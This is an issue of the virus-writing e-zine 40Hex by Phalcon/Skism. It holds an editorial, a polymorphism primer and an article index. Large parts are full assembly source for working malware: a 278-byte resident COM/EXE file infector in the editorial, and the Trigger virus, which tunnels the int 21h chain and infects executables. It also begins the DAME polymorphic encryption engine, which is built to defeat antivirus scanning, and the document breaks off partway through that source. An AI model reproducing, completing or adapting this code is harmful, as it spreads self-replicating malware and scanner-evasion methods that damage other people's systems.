40Hex Number 11 Volume 3 Issue 2

40Hex Issue 11 Volume 3 Number 2                                      File 000

     Welcome to 40Hex, the industry-standard virus information magazine,
brought to you by your friends at Phalcon/Skism, where our mottoes are
"We don't care" and "We write viruses until we're blue in the face and
green in the eyes."  Once again, we continue to bring you only the best
in virus news, programming, and miscellaneous source code.
     We welcome our newest member, Priest, who has written a number of
advanced viruses.  The source code to one of his viruses, Predator, is
included in this issue.
     Also in this issue is Dark Angel's Multiple Encryptor (DAME).  This
is one of the more advanced polymorphic routines available.  Since source
code is included, you'll probably see SPEW (Sweet Potato Encryption
Writer) coming soon to finer P0taT0 boards near you.
     Well, enough ranting -- enjoy the magazine!

                                        -)Gheap

            File                 Description
            0000.................This file, of course.
            0001.................Today's Phalcon/Skism Gripe
            0002.................Advanced Polymorphism Primer, Part 1
            0003.................Phalcon/Skism Trigger Virus & DAME Source Code
            0004.................Virus Censorship (Gripe Part II)
            0005.................Virus Spotlite: Leech
            0006.................Fun with System File Tables
            0007.................SVC 5.0 disassembly
            0008.................Predator Source Code

Greets to: NuKE, The Attitude Adjuster, Kenny C., Al, Bob, and our little
           potato friends.

40Hex Issue 11 Volume 3 Number 2                                      File 001

                        Life, the Universe, and 40Hex

       It is apparent to even the blindest of observers that the virus
  phenomenon has caught on.  Everyone and his kid brother has decided to start
  a virus group, whether or not they have programmers capable of creating a
  viable (read: parasitic) virus.  While this in itself is merely offensive,
  it is the sheer arrogance of these meta-groups which is irritating.  Of
  course, no names will be mentioned, as that would be mean and we all wish
  for a happy world.
       The most common trait of these pseudo-groups is for a member to state
  that all code that was written was "developed on my own."  Of course, this
  is seldom the case.  Often, the "original source code" to their viruses
  clearly originated at some point from a Sourcer disassembly.  Heck, when you
  see "seg_a" or "loc_0027," you know they're just poor hacks.  Of course, the
  the disparate coding styles in the "source" also reveals the nature of the
  virus.
       And when the virus is listed as a Dark Avenger hack in various anti-
  virus products, the individuals persist in their self-induced fantasies,
  saying their viruses are original.  I suppose the anti-virus programmers,
  who have disassembled countless viruses, can't spot a Dark Avenger or Murphy
  hack when they see one.  Stop fooling yourselves.
       And these mentally challenged persons continue, insisting routine X, a
  "new, innovative technique," was developed independently.  Yet anyone with
  even a minimal exposure to virus source code can see traces of other viruses
  in these routines.  Even the ideas presented are seldom new; most having
  already been implemented by existing viruses.  The worst of these people
  magnify all of their supposed accomplishments, talking of the revolutionary
  changes they single-handedly effect.
       Every group goes through a phase in which they hack viruses; they
  should not be proud of these viruses.  But it is merely the first step and
  most grow out of it.  Skism-1, for example, was a Jerusalem hack.  It is
  ancient history.  I might also point out that the Phalcon/Skism viruses
  published in both the last issue and this one are far superior to Skism-1.
  Phalcon/Skism does not release the source code to half-baked viruses just so
  40Hex can look larger.  Every virus programmer has a few experimental
  viruses; yet it is not necessarily appropriate to print all of them.  If I
  wrote a virus which had several hundred bytes of repetitious code, I would
  be ashamed to print it.  It's like releasing a program which has only been
  half-completed.
       When a virus programmer additionally claims, "This virus was written
  two years ago, so it sucks, but I'm going to release it anyway because it's
  good to learn from," I have my doubts.  When s/he further hurridly states,
  "My other viruses are better," then my doubts grow.  Where, pray tell, are
  these superior viruses?  Why publish that which you admit sucks?  Of course,
  anyone that makes such a claim, or one such as, "Next time, I'll release a
  COM/EXE/SYS/MBR/OV?/DAT/DOC/TXT/ANS/ASC polymorphic, stealth infector that I
  wrote last week," is suspicious.
       As an example of the mindless boasting, observe the following:  (Note:
  the following should not be construed as a personal attack against either
  the person or group in question.)
       This person wrote, "As with many of my routines, stuff which took many
  other virus writers a few pages of code took me one page... that's not bad!
  I have many other goodies up my sleeve, like a 387-byte generic COM/EXE
  parasitic infector on execution, the smallest of its kind in the WORLD...
  (with room for improvement!)."
       Please do not boast if you cannot substantiate your claims.  For
  example, these claims are easily shredded by counterexample.  Let us examine
  the Voronezh-370 virus.  It is a generic parasitic COM/EXE infector and it
  is indeed less than 387 bytes.  If 387 bytes is the smallest in the world,
  then this may very well be the smallest in the universe.  With only two
  hours of fiddling, I came up with the following virus (278 bytes), which may
  yet be the smallest of its kind in all of creation!  Actually, I make no
  such claim, as a smaller one _can_ be written.  The point was to show that
  this claim was not all that impressive and was, in fact, dead wrong.  Let us
  not be o'erhasty to boast next time.
       As with many of my viruses, stuff which took many other virus writers
  over 380 bytes took me under 280... that's not bad!  Humour aside, I might
  point out that this virus is _over_ 100 bytes less than the boaster's
  attempt, so it is _significantly_ smaller.  Gee, I wonder what those extra
  109 bytes are used for.

  -------------Cut here----------------
          .model  tiny
          .code
          .radix  16
          .code
  ; Phalcon/Skism _Small virus
  ; Written by Dark Angel of Phalcon/Skism
  ; 278 byte generic COM/EXE infector
  EXE_ID          =       -40
  viruslength     =       heap - _small
  startload       =       90 * 4

  _small:
          call    relative
  oldheader       dw      020cdh
                  dw      0bh dup (0)
  relative:
          pop     bp
          push    ds
          push    es
          xor     ax,ax
          mov     ds,ax
          mov     es,ax
          mov     di,startload
          cmp     word ptr ds:[di+25],di
          jz      exit_small

          lea     si,[bp-3]
          mov     cx,viruslength
          db      2Eh
          rep     movsb

          mov     di,offset old21 + startload
          mov     si,21*4
          push    si
          movsw
          movsw
          pop     di
          mov     ax,offset int21 + startload
          stosw
          xchg    ax,cx
          stosw

  exit_small:
          pop     es
          pop     ds

          or      sp,sp
          jnp     returnCOM
  returnEXE:
          mov     ax,ds
          add     ax,10
          add     [bp+16],ax
          add     ax,[bp+0e]
          mov     ss,ax
          mov     sp,cs:[bp+10]
          jmp     dword ptr cs:[bp+14]
  returnCOM:
          mov     di,100
          push    di
          mov     si,bp
          movsw
          movsb
          ret

  infect:
          push    ax
          push    bx
          push    cx
          push    dx
          push    si
          push    di
          push    ds
          push    es

          mov     ax,3d02
          int     21
          xchg    ax,bx

          push    cs
          pop     ds
          push    cs
          pop     es

          mov     si,offset oldheader+startload

          mov     ah,3f
          mov     cx,18
          push    cx
          mov     dx,si
          int     21

          cmp     ax,cx
          jnz     go_already_infected

          mov     di,offset target + startload
          push    di
          rep     movsb
          pop     di

          mov     ax,4202
          cwd
          int     21

          cmp     ds:[di],'ZM'
          jz      infectEXE

          sub     ax,3
          mov     byte ptr ds:[di],0e9
          mov     ds:[di+1],ax

          sub     ax,viruslength
          cmp     ds:[si-17],ax
          jnz     finishinfect
  go_already_infected:
          pop     cx
          jmp     short already_infected

  int21:
          cmp     ax,4b00
          jz      infect
          jmp     short chain

  infectEXE:
          cmp     word ptr [di+10],EXE_ID
          jz      go_already_infected

          push    ax
          push    dx

          add     ax,viruslength
          adc     dx,0

          mov     cx,200
          div     cx

          or      dx,dx
          jz      nohiccup
          inc     ax
  nohiccup:
          mov     ds:[di+4],ax
          mov     ds:[di+2],dx

          pop     dx
          pop     ax

          mov     cx,10
          div     cx

          sub     ax,ds:[di+8]

          mov     ds:[di+14],dx
          mov     ds:[di+16],ax

          mov     ds:[di+0e],ax
          mov     word ptr ds:[di+10],EXE_ID
  finishinfect:
          mov     ah,40
          mov     cx,viruslength
          mov     dx,startload
          int     21

          mov     ax,4200
          xor     cx,cx
          cwd
          int     21

          mov     ah,40
          mov     dx,di
          pop     cx
          int     21
  already_infected:
          mov     ah,3e
          int     21
  exitinfect:
          pop     es
          pop     ds
          pop     di
          pop     si
          pop     dx
          pop     cx
          pop     bx
          pop     ax
  chain:
          db      0ea
  heap:
  old21   dw      ?, ?
  target  dw      0ch dup (?)

  endheap:
          end     _small
  -------------------------------------

       I think the informed virus and anti-virus person recognises these
  claims as the baseless boasts they are.  Let me assure you that you will see
  none of that in 40Hex.
       Finally, each new group proclaims to be the world's predominant virus
  group.  Each new group puts out a magazine.  Each new group presents H/P/A
  articles in their magazines.  Let us go through each one step by step.
  Hacking.  Gee, can't you see the connection with viruses?  Phreaking.  Got
  some c0deZ, d00d?  Anarchy.  Gee, I want total chaos even though I probably
  couldn't survive such a situation.  H/P/A aside, these "virus magazines" do
  indeed contain some virus-related articles.  Generally, these are of the
  form "X virus is great, but we won't give source.  X does this, it does
  that, it is not a hack of Dark Avenger even though it scans as such."  Some
  articles give Sourcer disassemblies -- hardly commented, yet termed
  disassemblies nonetheless.  Finally, there are the programming articles
  containing tips and tricks from the "masters."  These often contain
  nonworking code.  These often contain factual errors.  These often are
  nothing but a waste of time.
       Does this sound elitist?  I hope not.  Judge virus groups and their
  magazines on their merits, not on their hype.  Do not take a virus group's
  word as gospel; it seldom reflects the truth.  Instead, do some
  investigation on your own and try to verify (or refute) their claims.  You
  may be surprised at the results.  There is also no reason to immediately
  condemn all anti-virus people as corrupt and "lame"; many are just ordinary
  people "on the other side."  The virus scene is becoming less innovative as
  these new quasi-groups emerge.  This apparent contradiction must end soon.
  We ask all groups to end the self-back-patting and blatant lying and do some
  real work.
       Finally, a short summary of 40Hex is in order, for both new and old
  readers alike.  The paragraphs below show the current editorial stance and
  opinion of 40Hex, which has evolved during the several years of its
  existence.  What holds true for 40Hex also applies to Phalcon/Skism.

       40Hex is _not_ a magazine for self-congratulation.  Although put out by
  Phalcon/Skism, 40Hex serves as medium through which the public may hear the
  voice of the informed virus community without magnification of either the
  achievements or failures of any particular virus group or programmer.
  Although the 40Hex staff offers opinions from the pro-virus standpoint,
  40Hex is not an anti-anti-virus magazine.  There is a clear distinction
  between pro- and anti-anti-virus.  40Hex encourages anti-virus researchers
  to contribute.  40Hex offers a fair, unbiased view except in editorials,
  which obviously reflect the opinions of the authors.
       40Hex _is_ purely a virus magazine -- none of that H/P/A/k-rad stuff.
  Illegal and anarchistic activities are not condoned by 40Hex and, as such,
  these topics are not appropriate for inclusion in the magazine.  The public
  distribution of quality virus source code and virus writing techniques, both
  old and new, is one of the predominant goals of 40Hex, serving to inform
  both the pro- and anti-virus community.  The secondary function of the
  magazine is to spread virus-related news.  40Hex is concerned more with
  content than size.  You know the old saw "Quality, not quantity."  Other
  magazines appear larger than they truly are because each article is padded
  to 80 columns, effectively doubling its file length.
       40Hex articles are _not_ mere rehashes of what has already been
  printed.  Other magazines have presented articles which closely mirror those
  already published in 40Hex.  Such poorly rewritten articles are neither
  enlightening nor necessary.
       40Hex is _not_ a tool with which people wreak havok upon others'
  systems.  This is simply an unfair view of the magazine.  In fact, 40Hex is
  against wanton destruction of computer systems.  Viruses are so prevalent
  nowadays that anyone can obtain them with little difficulty.  They also need
  not obtain 40Hex to be able to type "FORMAT C:"  Knobs will be knobs.
       40Hex _is_ a public forum, allowing those who take the time to write to
  have their opinions published.  We encourage all to send letters to 40Hex,
  as they provide valuable insight into the virus and anti-virus communities
  from a fresh perspective.
       40Hex is _not_ inherently evil.  What you choose to do with the
  knowledge provided is your business.

       Once again, 40Hex does not condone the illegal spread of viruses.  Such
  actions are frowned upon.  Our stance has evolved over the years, so don't
  bring up something from 40Hex-2 and cry hippocrite -- unless, of course, you
  have a closed mind and absolutely nothing else to say.

                                                -- Dark Angel
                                                   Phalcon/Skism

40Hex Issue 11 Volume 3 Number 2                                      File 002

                             ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
                             ADVANCED POLYMORPHISM
                                     PRIMER
                                 PART THE FIRST
                             ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
                                 By Dark Angel
                                 Phalcon/Skism
                             ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

       With the recent proliferation of virus encryption "engines," I was
  inspired to write my own.  In a few short weeks, I was able to construct one
  such routine which can hold its own.  A polymorphic encryption routine is
  nothing more than a complex code generator.  Writing such a routine, while
  not incredibly difficult, requires careful planning and perhaps more than a
  few false starts.

       The utility of true polymorphism is, by now, an accepted fact.
  Scanning for the majority of viruses is a trivial task, involving merely the
  identification of a specific pattern of bytes in executable files.  This
  approach is quick and may be used to detect nearly all known viruses.
  However, polymorphism throws a monkey wrench into the works.  Polymorphic
  viruses encode each copy of the virus with a different decryption routine.
  Since (theoretically) no bytes remain constant in each generated decryption
  routine, virus detectors cannot rely on a simple pattern match to locate
  these viruses.  Instead, they are forced to use an algorithmic appproach
  susceptible to "false positives," misleading reports of the existence of the
  virus where it is not truly present.  Creating a reliable algorithm to
  detect the polymorphic routine takes far more effort than isolating a usable
  scan string.  Additionally, if a virus detector fails to find even one
  instance of the virus, then that single instance will remain undetected and
  spawn many more generations of the virus.  Survival, of course, is the
  ultimate goal of the virus.

       Before attempting to write a polymorphic routine, it is necessary to
  obtain a manual detailing the 80x86 instruction set.  Without bit-level
  manipulation of the opcodes, any polymorphic routine will be of limited
  scope.  The nice rigid structure of the 80x86 instruction set will be
  readily apparent after a simple perusal of the opcodes.  Exploitation of
  this structured instruction set allows for the compact code generation
  routines which lie at the heart of every significant polymorphic routine.

       After examining the structure of the opcodes, the basic organisation of
  the polymorphic routine should be laid out.  Here, an understanding of the
  basics behind such routines is required.  The traditional approach treats
  the decryption routine as a simple executable string, such as
  "BB1301B900022E8137123483C302E2F6."  A true (advanced) polymorphic routine,
  by contrast, views the decryption routine as a conceptual algorithm, such
  as, "Set up a 'pointer' register, that is, the register whose contents hold
  a pointer to the memory to be decrypted.  Set up a counter register.  Use
  the pointer register to decrypt one byte.  Update the pointer register.
  Decrement the count register, looping if it is not zero."  Two routines
  which fit this algorithm follow:

  Sample Encryption 1
  ------ ---------- -
       mov  bx,offset startencrypt   ; here, bx is the 'pointer' register
       mov  cx,viruslength / 2       ; and cx holds the # of iterations
  decrypt_loop:
       xor  word ptr [bx],12h        ; decrypt one word at a time
       inc  bx                       ; update the pointer register to
       inc  bx                       ; point to the next word
       loop decrypt_loop             ; and continue the decryption
  startencrypt:

  Sample Encryption 2
  ------ ---------- -
  start:
       mov  bx,viruslength           ; now bx holds the decryption length
       mov  bp,offset start          ; bp is the 'pointer' register
  decrypt_loop:
       add  byte ptr [bp+0Ch],33h    ; bp+0Ch -> memory location to be
                                     ; decrypted at each iteration
       inc  bp                       ; update the pointer register
       dec  bx                       ; and the count register
       jnz  decrypt_loop             ; loop if still more to decrypt

       The number of possibilities is essentially infinite.  Naturally,
  treating the decryption as an algorithm rather than as an executable string
  greatly increases the flexibility in creating the actual routine.  Various
  portions of the decryption algorithm may be tinkered with, allowing for
  further variations.  Using the example above, one possible variation is to
  swap the order of the setup of the registers, i.e.

       mov  cx,viruslength
       mov  bx,offset startencrypt

  in lieu of

       mov  bx,offset startencrypt
       mov  cx,viruslength

       It is up to the individual to decide upon the specific variations which
  should be included in the polymorphic routine.  Depending upon the nature of
  the variations and the structure of the polymorphic routine, each increase
  in power may be accompanied with only a minimal sacrifice in code length.
  The goal is for the routine to be capable of generating the greatest number
  of variations in the least amount of code.  It is therefore desirable to
  write the polymorphic routine in a manner such that additional variations
  may be easily accommodated.  Modularity is helpful in this respect, as the
  modest overhead is rapidly offset by substantial space savings.

       The first step most polymorphic routines undergo is the determination
  of the precise variation which is to be encoded.  For example, a polymorphic
  routine may decide that the decryption routine is to use word-length xor
  encryption with bx as the pointer register, dx as a container for the
  encryption value, and cx as the counter register.  Once this information is
  known, the routine should be able to calculate the initial value of each
  variable.  For example, if cx is the counter register for a byte-length
  encryption, then it should hold the virus length.  To increase variability,
  the length of the encryption can be increased by a small, random amount.
  Note that some variables, in particular the pointer register, may not be
  known before encoding the rest of the routine.  This detail is discussed
  below.

       Of course, selecting the variables and registers will not in and of
  itself yield a valid decryption routine; the polymorphic routine must also
  encode the actual instructions to perform the job!  The cheesiest
  polymorphic routines encode a single "mov" instruction for the assignment of
  a value to a register.  The more complex routines encode a series of
  instructions which are functionally equivalent to the simple three byte
  "mov" statement yet far different in form.  For example,

       mov  ax, 808h

  could be replaced with

       mov  ax, 303h                 ; ax = 303h
       mov  bx, 101h                 ; bx = 101h
       add  ax, bx                   ; ax = 404h
       shl  ax, 1                    ; ax = 808h

       Recall that the registers should be encoded in a random order.  The
  counter variable, for example, should not always be the first to be encoded.
  Predictability, the bane of polymorphic routines, must be avoided at all
  costs.

       After the registers are encoded, the actual decryption loop should then
  be encoded.  The loop can perform a number of actions, the most significant
  of which should be to manipulate the memory location, i.e. the actual
  decryption instruction, and to update the pointer register, if necessary.
  Finally, the loop instruction itself should be encoded.  This can take many
  forms, including "loop," "loopnz," "jnz," etc.  Possible variations include
  altering the decryption value register and the counter register during each
  iteration.

       This is the general pattern of encoding.  By placing garbling, or "do-
  nothing," instructions between the essential pieces of code, further
  variability may be ensured.  These instructions may take many forms.  If the
  encoding routines are well-designed, the garbler can take advantage of the
  pre-existing code to generate null instructions, such as assignments to
  unused registers.

       Once the decryption routine has been written, it is necessary to
  encrypt the virus code.  The traditional approach gives the polymorphic
  routine the job of encrypting the code.  The polymorphic routine should
  therefore "remember" how the precise variation used by the decryptor and
  adjust the encryption routine in a complementary fashion.  An alternate
  approach is for the polymorphic routine to simultaneously encode both the
  encryption and decryption routines.  Although it adds overhead to the code,
  it is an extremely flexible approach that easily accommodates variations
  which may be later introduced into the polymorphic routine.

       Variable-length decryptors come at a significant trade-off; the exact
  start of the decryption cannot be known before encoding the decryptor.
  There are two approaches to working around this limitation.  The first is to
  encode the pointer register in a single instruction, i.e. mov bx,185h and to
  patch the initial value once it is known.  This is simplistic, though
  undesirable, as it decreases the variability of the routine.  An alternate
  approach is to encode the encryption instruction in the form xor word ptr
  [bx+185h], cx (as in Sample Encryption 2, above) instead of xor word ptr
  [bx], cx (as in Sample Encryption 1).  This increases the flexibility of the
  routine, as the initial value of the pointer register need not be any fixed
  value; correct decryption may be assured by adjusting the offset in the
  decryption instruction.  It is then possible to encode the pointer register
  with multiple instructions, increasing flexibility.  However, using either
  method alone increases the predictability of the generated code.  A better
  approach would be to incorporate both methods into a single polymorphic
  routine and randomly selecting one during each run.

       As an example of a polymorphic routine, I present DAME, Dark Angel's
  Multiple Encryptor and a simple virus which utilises it.  They appear in the
  following article.  DAME uses a variety of powerful techniques to achieve
  full polymorphism.  Additionally, it is easy to enhance; both the encoding
  routines and the garblers can be extended algorithmically with minimal
  effort.  In the next issue, I will thoroughly comment and explain the
  various parts of DAME.

40Hex Issue 11 Volume 3 Number 2                                      File 003

                                Trigger Virus

     This virus was written as a test virus for DAME, Dark Angel's Multiple
Encryptor.  Trigger is a resident COM/EXE infector with tunneling capabilities.
When it executes, it traces down the int 21h chain until it finds the original
int 21h handler.  It then inserts code to jump to the virus, which returns
control to the original int 21h handler after processing the request.

                                                -- Dark Angel
                                                   Phalcon/Skism 1993

-begin trigger.asm-------------------------------------------------------------
        .model  tiny
        .code
        .radix  16
        org     0

        viruslength     =       (heap - entry)
        virussizeK      =       (endvirus - entry + 3ff) / 400
        virussizepara   =       (virussizeK)*40

        EXE_ID          =       'PS'

entry:
        call    past
next:
        db      0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A
        db      "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A
        db      0Dh,0A,0

checkstub       db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63

past:   cld
        pop     bp

        mov     ax,0cf0
        mov     bx,'DA'
        int     21
        cmp     bx,'GH'
        jnz     no_trigger
trigger:
        push    ds
        push    es

        push    cs
        pop     ds
        xor     ax,ax
checkagain:
        lea     si,[bp+checkstub-next]
        mov     es,ax
        xor     di,di
        mov     cx,8
        rep     cmpsw
        jz      trigger_it
        inc     ax
        cmp     ax,0a000
        jb      checkagain
        jmp     exit_trigger
trigger_it:
        mov     [bp+patch-next],ax
        mov     ds,ax
        mov     byte ptr ds:73,0cbh
        push    bp
        mov     bp,-80
        jmp     short $+2
        db      09a ; call far ptr
        dw      1
patch   dw      ?
        pop     bp
        mov     byte ptr ds:73,1f
exit_trigger:
        pop     es
        pop     ds
        jmp     short restore

no_trigger:
        mov     ax,4b90
        int     21
        cmp     ax,bx
        jz      restore

        push    ds
        push    es

        mov     ax,ds
        dec     ax
        mov     ds,ax
        sub     word ptr ds:3,virussizepara
        sub     word ptr ds:12,virussizepara
        mov     es,ds:12

        push    cs
        pop     ds

        xor     di,di
        lea     si,[bp+offset entry-offset next]
        mov     cx,(viruslength + 1)/2
        rep     movsw

        xor     ax,ax
        mov     ds,ax
        sub     word ptr ds:413,virussizeK

        mov     di,offset oldint21
        mov     si,21*4
        movsw
        movsw

        cli

        pushf
        pushf
        pop     ax
        or      ah,1
        push    ax

        mov     ds:1*4+2,es
        mov     word ptr ds:1*4,offset int1_1

        popf

        mov     ah,30
        pushf
        call    dword ptr ds:21*4

        popf

        lds     si,dword ptr es:oldint21
        mov     di,si
        lodsw
        mov     word ptr es:int21patch1,ax
        lodsw
        mov     word ptr es:int21patch2,ax
        lodsb
        mov     byte ptr es:int21patch3,al

        push    ds ; es:di->int 21 handler
        push    es
        pop     ds ; ds->high segment
        pop     es

        mov     al,0ea
        stosb
        mov     ax,offset int21
        stosw
        mov     ax,ds
        stosw
        sti

        pop     es
        pop     ds

restore:
        cmp     sp,-2
        jnz     restoreEXE
restoreCOM:
        lea     si,[bp+readbuffer-next]
        mov     di,100
        push    di
        movsw
        movsw
        ret
restoreEXE:
        mov     ax,ds
        add     ax,10
        add     cs:[bp+readbuffer+16-next], ax
        add     ax,cs:[bp+readbuffer+0e-next]
        mov     ss,ax
        mov     sp,cs:[bp+readbuffer+10-next]
        jmp     dword ptr cs:[bp+readbuffer+14-next]

readbuffer      dw 20cdh
                dw 0bh dup (?)

int1_1:
        push    bp
        mov     bp,sp
        push    ax

        mov     ax, [bp+4]      ; get segment
        cmp     ax, cs:oldint21+2
        jae     exitint1
        mov     cs:oldint21+2,ax
        mov     ax, [bp+2]
        mov     cs:oldint21,ax
exitint1:
        pop     ax
        pop     bp
        iret

int1_2:
        push    bp
        mov     bp,sp
        push    ax

        mov     ax,cs
        cmp     ax,[bp+4]
        jz      exitint1

        mov     ax,[bp+4]
        cmp     ax,cs:oldint21+2
        jnz     int1_2_restore

        mov     ax,[bp+2]
        cmp     ax,cs:oldint21
        jb      int1_2_restore
        sub     ax,5
        cmp     ax,cs:oldint21
        jbe     exitint1
int1_2_restore:
        push    es
        push    di
        cld
        les     di,dword ptr cs:oldint21
        mov     al,0ea
        stosb
        mov     ax,offset int21
        stosw
        mov     ax,cs
        stosw
        pop     di
        pop     es

        and     [bp+6],0feff
        jmp     exitint1

install:
        mov     bx,ax
        iret
int21:
        cmp     ax,4b90
        jz      install

        push    ds
        push    di
        lds     di,dword ptr cs:oldint21
        mov     word ptr ds:[di],1234
int21patch1      =       $ - 2
        mov     word ptr ds:[di+2],1234
int21patch2      =       $ - 2
        mov     byte ptr ds:[di+4],12
int21patch3      =       $ - 1
        pop     di
        pop     ds

        cld

        cmp     ax,4b00
        jz      infect

exitint21:
        push    ds
        push    ax

        xor     ax,ax
        mov     ds,ax
        cli
        mov     word ptr ds:1*4,offset int1_2
        mov     ds:1*4+2,cs
        sti

        pushf
        pop     ax
        or      ah,1
        push    ax
        popf
        pop     ax
        pop     ds
        db      0ea
oldint21 dw     0, 0

callint21:
        pushf
        call    dword ptr cs:oldint21
        ret

already_infected:
        pop     dx
        pop     cx
        mov     ax,5701
        call    callint21

        mov     ah,3e
        call    callint21
exitnoclose:
        mov     ax,4301
        pop     dx
        pop     ds
        pop     cx
        call    callint21

exitinfect:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     bp
        pop     bx
        pop     dx
        pop     cx
        pop     ax
        jmp     exitint21

infect:
        push    ax
        push    cx
        push    dx
        push    bx
        push    bp
        push    si
        push    di
        push    ds
        push    es

        mov     ax,4300
        call    callint21
        push    cx
        push    ds
        push    dx

        mov     ax,4301
        xor     cx,cx
        call    callint21

        mov     ax,3d02
        call    callint21
        jc      exitnoclose
        xchg    ax,bx

        mov     ax,5700
        int     21
        push    cx
        push    dx

        mov     ah,3f
        mov     cx,18
        push    cs
        pop     ds
        push    cs
        pop     es
        mov     dx,offset readbuffer
        mov     si,dx
        call    callint21
        jc      already_infected

        mov     di,offset writebuffer
        mov     cx,18/2

        push    si
        push    di

        rep     movsw

        pop     di
        pop     si

        mov     ax,4202
        xor     cx,cx
        cwd
        int     21

        cmp     word ptr [di],'ZM'
        jnz     infectCOM

infectEXE:
        cmp     readbuffer+10,EXE_ID
go_already_infected:
        jz      already_infected

        mov     ds:writebuffer+4,ax
        mov     ds:writebuffer+2,dx

        mov     cx,10
        div     cx

        sub     ax,ds:writebuffer+8

        mov     ds:writebuffer+14,dx
        mov     ds:writebuffer+16,ax

        xchg    cx,dx

        mov     ds:writebuffer+0e,ax
        mov     ds:writebuffer+10,EXE_ID

        mov     al,10b
        jmp     finishinfect

infectCOM: ; si = readbuffer, di = writebuffer
        push    ax

        mov     cx,4
        xor     dx,dx
check_infection_loop:
        lodsb
        add     dl,al
        loop    check_infection_loop

        pop     ax

        or      dl,dl
        jz      go_already_infected

        mov     dx,18
        cmp     ax,dx
        jnb     no_fixup_com

        mov     ax,4200
        xor     cx,cx
        int     21
no_fixup_com:
        mov     cx,ax
        inc     ch      ; add cx,100
        sub     ax,3
        push    ax
        mov     al,0e9
        stosb
        pop     ax
        stosw
        add     al,ah
        add     al,0e9
        neg     al
        stosb

        mov     al,11b
finishinfect:
        cbw
; ax = bitmask
; bx = start decrypt in carrier file
; cx = encrypt length
; dx = start encrypt in virus
; si = buffer to put decryption routine
; di = buffer to put encryption routine
        push    bx

        xchg    cx,bx

        xor     si,si
        mov     di,offset copyvirus
        mov     cx,(heap-entry+1)/2
        rep     movsw

        push    ax
        call    rnd_init_seed
        pop     ax

        mov     dx,offset copyvirus
        mov     cx,viruslength
        mov     si,offset _decryptbuffer
        mov     di,offset _encryptbuffer
        call    dame

        push    cx

        cmp     ds:writebuffer,'ZM'
        jnz     no_fix_header

        mov     dx,ds:writebuffer+2
        mov     ax,ds:writebuffer+4
        add     cx,viruslength
        add     ax,cx
        adc     dx,0
        mov     cx,200
        div     cx
        or      dx,dx
        jz      nohiccup
        inc     ax
nohiccup:
        mov     ds:writebuffer+4,ax
        mov     ds:writebuffer+2,dx
no_fix_header:
        call    di
        pop     cx

        pop     bx

        mov     ah,40
        mov     dx,offset _decryptbuffer
        call    callint21

        mov     ah,40
        mov     cx,viruslength
        mov     dx,offset copyvirus
        call    callint21

        mov     ax,4200
        xor     cx,cx
        cwd
        int     21

        mov     ah,40
        mov     cx,18
        mov     dx,offset writebuffer
        call    callint21
        jmp     already_infected

vars = 0
include dame.asm

heap:
vars = 1
include dame.asm

writebuffer             dw       0c dup (?)
_encryptbuffer:         db       80 dup (?)
_decryptbuffer:         db      180 dup (?)
copyvirus               db      viruslength dup (?)
                        db      20 dup (?)
endvirus:

end entry
-end trigger.asm----begin dame.asm---------------------------------------------
ifndef vars
vars = 2
endif

if vars eq 1
else

_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7

_es = 8
_cs = 9
_ss = 0a
_ds = 0bh

MAXNEST = 0a            ; controls recursion problems

; ax = flags
;       15 : Reserved
;       14 : 0 = word, 1 = dword
;       13 : encryption direction : 0 = forwards, 1 = backwards
;       12 : counter direction : 0 = forwards, 1 = backwards
;       11 :    ^
;       10 :    R
;        9 :    E
;        8 :    S
;        7 :    E
;        6 :    R
;        5 :    V
;        4 :    E
;        3 :    D
;        2 :    v
; DAME sets the above bits
;
; Virus sets the following bits:
;        1 : garble : 1 = yes, 0 = no
;        0 : DS = CS : 1 = yes, 0 = no
; bx = start decrypt in carrier file
; cx = encrypt length
; dx = start encrypt
; si = buffer to put decryption routine
; di = buffer to put encryption routine
; ds = current cs
; es = current cs

; Returns:
;  cx = decryption routine length
;  all other registers are preserved.

rnd_init_seed:
        push    dx
        push    cx
        push    bx
        mov     ah,2C                   ; get time
        int     21

        in      al,40                   ; port 40h, 8253 timer 0 clock
        mov     ah,al
        in      al,40                   ; port 40h, 8253 timer 0 clock
        xor     ax,cx
        xor     dx,ax
        jmp     short rnd_get_loop_done
get_rand:
        push    dx
        push    cx
        push    bx
        in      al,40                   ; get from timer 0 clock
        db      5 ; add ax, xxxx
rnd_get_patch1  dw      0
                db      0BA  ; mov dx, xxxx
rnd_get_patch2  dw      0
        mov     cx,7

rnd_get_loop:
        shl     ax,1
        rcl     dx,1
        mov     bl,al
        xor     bl,dh
        jns     rnd_get_loop_loc
        inc     al
rnd_get_loop_loc:
        loop    rnd_get_loop

rnd_get_loop_done:
        mov     rnd_get_patch1,ax
        mov     rnd_get_patch2,dx
        mov     al,dl
        pop     bx
        pop     cx
        pop     dx
        retn

reg_xlat_table:
        db      10000111b ; bx
        db      0         ; sp
        db      10000110b ; bp
        db      10000100b ; si
        db      10000101b ; di

aligntable      db      3,7,0f,1f

redo_dame:
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
dame:   ; Dark Angel's Multiple Encryptor
        cld
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        call    _dame
        pop     di
        pop     si
        pop     dx
        pop     bx ; return value in cx
        pop     bx
        pop     ax
        ret

_dame:
; set up variables
        cld

        push    ax

        mov     ax,offset _encryptpointer
        xchg    ax,di           ; pointer to encryption routine buffer
        stosw
        xchg    si,ax           ; pointer to decryption routine buffer
        stosw

        stosw

        xchg    ax,dx           ; starting offset of encryption
        stosw
        xchg    ax,bx           ; starting offset of decryption routine
        stosw

        xchg    cx,dx           ; dx = encrypt size

        call    clear_used_regs
        mov     cx,(endclear1 - beginclear1) / 2
        rep     stosw

        call    get_rand
        and     ax,not 3

        pop     cx
        xor     cx,ax           ; cx = bitmask

        call    get_rand_bx
        and     bx,3
        mov     al,byte ptr [bx+aligntable]
        cbw
        add     dx,ax           ; round up
        not     ax
        and     dx,ax

        mov     ax,dx           ; new encryption length
        stosw                   ; _encrypt_length

        shr     ax,1
        test    ch,40 ; dword?
        jz      word_encryption
